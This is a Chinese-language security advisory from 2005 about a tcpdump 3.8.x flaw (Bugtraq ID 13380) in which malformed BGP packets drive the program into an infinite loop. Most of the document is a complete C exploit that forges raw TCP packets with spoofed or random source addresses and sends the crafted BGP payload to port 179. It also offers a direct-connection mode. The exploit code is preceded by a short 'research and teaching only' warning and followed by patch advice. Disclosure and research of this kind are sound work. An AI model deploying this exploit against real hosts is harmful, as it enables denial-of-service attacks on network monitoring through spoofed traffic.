发布日期：2005-04-27
更新日期：2005-04-27

受影响系统：

LBL tcpdump 3.8.x

描述：

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BUGTRAQ  ID: 13380

Tcpdump是一款免费的网络分析程序，适用于多种Unix操作系统。

tcpdump可能允许远程攻击者导致软件拒绝服务，起因是tcpdump解码Border Gateway Protocol (BGP)报文的方式存在漏洞。远程攻击者可以通过发送畸形的BGP报文导致软件陷入死循环。

<*来源：Vade 79 （v9@fakehalo.deadpig.org）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111454461300644&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

/* will never need to be changed. */
#define BGP_PORT 179
#define DFL_AMOUNT 5
#define TIMEOUT 10

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct tcph{
unsigned short source;
unsigned short dest;
unsigned int seq;
unsigned int ack_seq;
#ifdef _USE_BIG_ENDIAN
unsigned short doff:4,res1:4,cwr:1,ece:1,
urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;
#else
unsigned short res1:4,doff:4,fin:1,syn:1,
rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;
#endif
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
struct sumh{
  unsigned int saddr;
  unsigned int daddr;
  unsigned char fill;
  unsigned char protocol;
  unsigned short len;
};

/* malformed BGP data. (the bug) */
static char payload[]=
/* shortened method. (34 bytes) */
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00"
"\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01"
"\x84\x00\x00\x00";
/* original method, un-comment/swap if desired. (39 bytes) */
/* "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" */
/* "\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00" */
/* "\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01" */
/* "\x84\x00\x00\x20\x00\x00\x00\x00\x00"; */

/* prototypes. (and sig_alarm) */
void bgp_connect(unsigned int);
void bgp_inject(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop "
"DOS.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
  printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
  argv[0]);
  printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
  exit(1);
}
if(!(daddr=getip(argv[1])))
  printe("invalid destination host/ip.",1);
if(argc>2){
  if(strstr(argv[2],"nospoof"))nospoof=1;
  else saddr=getip(argv[2]);
}
if(argc>3)amt=atoi(argv[3]);
if(nospoof){
  printf("[*] target: %s\n",argv[1]);
  bgp_connect(daddr);
  printf("[*] done.\n");
}
else{
  if(!amt)printe("no packets?",1);
  printf("[*] destination\t: %s\n",argv[1]);
  printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
  printf("[*] amount\t: %u\n\n",amt);
  printf("[+] sending(packet = .): ");
  fflush(stdout);
  while(amt--){
   /* spice things up. */
   srandom(time(0)+amt);
   bgp_inject(daddr,saddr);
   printf(".");
   fflush(stdout);
   usleep(50000);
  }
  printf("\n\n[*] done.\n");
}
fflush(stdout);
exit(0);
}
/* (non-spoofed) generic connection. (port 179 on the */
/* victim has to be open for this to work) */
void bgp_connect(unsigned int daddr){
signed int sock;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(BGP_PORT);
s.sin_addr.s_addr=daddr;
printf("[*] attempting to connect...\n");
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("(non-spoofed) BGP connection failed.",1);
alarm(0);
printf("[*] successfully connected.\n");
printf("[*] sending malformed BGP data. (%u bytes)\n",
sizeof(payload)-1);
usleep(500000);
write(sock,payload,sizeof(payload));
usleep(500000);
printf("[*] closing connection.\n\n");
close(sock);
return;
}
/* (spoofed) generates and sends an unestablished (BGP) */
/* TCP(ACK,PUSH) or TCP(SYN) packet. */
void bgp_inject(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct tcph tcp;
struct sumh sum;
/* create raw (TCP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
  printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
  printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(BGP_PORT);
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct tcph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&tcp,0,sizeof(struct tcph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.id=(random()%65535);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_TCP;
ip.frag_off=64;
tcp.seq=(random()%0xffffffff+1);
tcp.source=htons(random()%60000+1025);
tcp.dest=sa.sin_port;
/* passing BGP data as ip options for the syn packet method */
/* doesn't work as tcpdump doesnt process it as BGP data. */
tcp.doff=5;
#ifdef _USE_SYN
tcp.syn=1;
tcp.window=htons(65535);
#else
tcp.ack=1;
tcp.psh=1;
tcp.ack_seq=(random()%0xffffffff+1);
tcp.window=htons(4096*(random()%2+1));
#endif
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct tcph)+sizeof(payload)-1);
/* make sum/calc buffer for the tcp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct tcph)
+sizeof(payload)+1)))
  printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct tcph)
+sizeof(payload)+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&tcp,sizeof(struct tcph));
memcpy(s+sizeof(struct sumh)+sizeof(struct tcph),
payload,sizeof(payload)-1);
tcp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct tcph)+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
  printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
  printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&tcp,sizeof(struct tcph));
memcpy(p+(sizeof(struct iph)+sizeof(struct tcph)),
payload,sizeof(payload));
/* send the malformed BGP packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
  printe("failed to send forged BGP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
  sum+=*w++;
  nleft-=2;
}
if(nleft==1){
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
  if((t=gethostbyname(host)))
   memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}

建议：

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厂商补丁：

LBL
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.tcpdump.org

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